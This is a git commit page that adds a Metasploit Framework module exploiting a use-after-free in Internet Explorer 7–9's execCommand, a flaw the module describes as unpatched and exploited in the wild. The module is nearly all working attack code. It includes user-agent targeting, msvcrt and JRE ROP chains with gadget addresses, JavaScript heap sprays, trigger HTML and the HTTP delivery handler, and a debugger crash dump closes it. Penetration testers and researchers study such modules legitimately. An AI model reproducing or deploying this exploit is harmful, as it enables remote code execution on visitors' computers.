Merge remote branch 'wchen-r7/ie_0day_execcommand'
Tod Beardsley
commit
d77efd587a
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@ -0,0 +1,397 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "7.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:rank => GoodRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
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'Description' => %q{
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This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
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rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
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but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
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to a use-after-free condition. Please note that this vulnerability has
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been exploited in the wild since Sep 14 2012, and there is currently no official
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patch for it.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'unknown', # Some secret ninja
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'eromang', # First public discovery
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'binjo',
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'sinn3r', # Metasploit
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '85532' ],
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[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
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[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
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[ 'URL', 'http://metasploit.com' ]
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],
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'Payload' =>
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{
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[1] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[2] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[3] #IE 7 on Windows Vista
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
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return targets[4] #IE 8 on Windows Vista
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[6] #IE 9 on Windows 7
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else
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return nil
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end
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("L")[0].to_i
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end
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def nop
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return make_nops(4).unpack("L")[0].to_i
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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exec_size = code.length
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stack_pivot = [
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0x77c4e393, # RETN
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0x77c4e392, # POP EAX # RETN
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0x77c15ed5, # XCHG EAX, ESP # RETN
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].pack("V*")
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rop =
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[
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0x77C21891, # POP ESI # RETN
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0x0c0c0c04, # ESI
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0x77c4e392, # POP EAX # RETN
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0x77c11120, # <- *&VirtualProtect()
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0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
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0x77c4ec00, # POP EBP # RETN
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0x77c35459, # ptr to 'push esp # ret'
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0x77c47705, # POP EBX # RETN
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exec_size, # EBX
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0x77c3ea01, # POP ECX # RETN
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0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
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0x77c46100, # POP EDI # RETN
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0x77c46101, # ROP NOP (-> edi)
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0x77c4d680, # POP EDX # RETN
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0x00000040, # newProtect (0x40) (-> edx)
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0x77c4e392, # POP EAX # RETN
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nop, # NOPS (-> eax)
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0x77c12df9, # PUSHAD # RETN
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].pack("V*")
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when :jre
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print_status("Using JRE ROP")
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exec_size = 0xffffffff - code.length + 1
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if t['Random']
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stack_pivot = [
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0x0c0c0c0c, # 0c0c0c08
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0x7c347f98, # RETN
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0x7c347f97, # POP EDX # RETN
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0x7c348b05 # XCHG EAX, ESP # RET
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].pack("V*")
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else
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stack_pivot = [
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0x7c347f98, # RETN
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0x7c347f97, # POP EDX # RETN
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0x7c348b05 # XCHG EAX, ESP # RET
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].pack("V*")
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end
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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exec_size, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c351e05, # NEG EAX # RETN
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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code = stack_pivot + rop + code
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return code
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end
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# Spray published by corelanc0d3r
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# Exploit writing tutorial part 11 : Heap Spraying Demystified
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# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
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def get_random_spray(t, js_code, js_nops)
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spray = <<-JS
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{t['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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JS
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return spray
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end
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def get_spray(t, js_code, js_nops)
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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JS
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end
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def load_html1(cli, my_target)
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p = get_payload(my_target, cli)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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if my_target['Random']
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js = get_random_spray(my_target, js_code, js_r_nops)
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else
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js = get_spray(my_target, js_code, js_nops)
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end
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js = heaplib(js, {:noobfu => true})
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html = <<-EOS
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<html>
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<body>
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<script>
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var arrr = new Array();
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arrr[0] = window.document.createElement("img");
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arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
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</script>
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<iframe src="#{get_resource}/#{@html2_name}"></iframe>
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<script>
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#{js}
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</script>
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</body>
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</html>
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EOS
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return html
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end
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def load_html2
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html = %Q|
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<HTML>
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<script>
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function funcB() {
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document.execCommand("selectAll");
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};
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function funcA() {
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document.write("#{Rex::Text.rand_text_alpha(1)}");
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parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
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}
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</script>
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<body onload='funcB();' onselect='funcA()'>
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<div contenteditable='true'>
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a
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</div>
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</body>
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</HTML>
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|
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return html
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end
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def on_request_uri(cli, request)
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print_status request.headers['User-Agent']
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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vprint_status("Requesting: #{request.uri}")
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if request.uri =~ /#{@html2_name}/
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print_status("Loading #{@html2_name}")
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html = load_html2
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elsif request.uri =~ /#{@html1_name}/
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print_status("Loading #{@html1_name}")
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html = load_html1(cli, my_target)
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elsif request.uri =~ /#{get_resource}$/
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print_status("Redirecting to #{@html1_name}")
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send_redirect(cli, "#{get_resource}/#{@html1_name}")
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return
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else
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send_not_found(cli)
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return
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end
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html = html.gsub(/^\t\t/, '')
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def exploit
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@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
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@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
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super
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end
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end
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=begin
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0:008> r
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eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
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eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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mshtml!CMshtmlEd::Exec+0x134:
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637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????
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0:008> u
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mshtml!CMshtmlEd::Exec+0x134:
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637d464e 8b07 mov eax,dword ptr [edi]
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637d4650 57 push edi
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637d4651 ff5008 call dword ptr [eax+8]
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0:008> k
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ChildEBP RetAddr
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020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
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020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
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020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
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020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
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020bc2c0 638b167b mshtml!CBase::execCommand+0x50
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020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
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020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
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020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
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020bc410 63643832 mshtml!CBase::InvokeEx+0x25
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020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
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020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
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020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
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020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
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020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
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020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
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020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
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020bc690 633a77ff jscript!VAR::InvokeByName+0x135
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020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
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020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
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020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
|
||||
=end
|
||||
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Reference in New Issue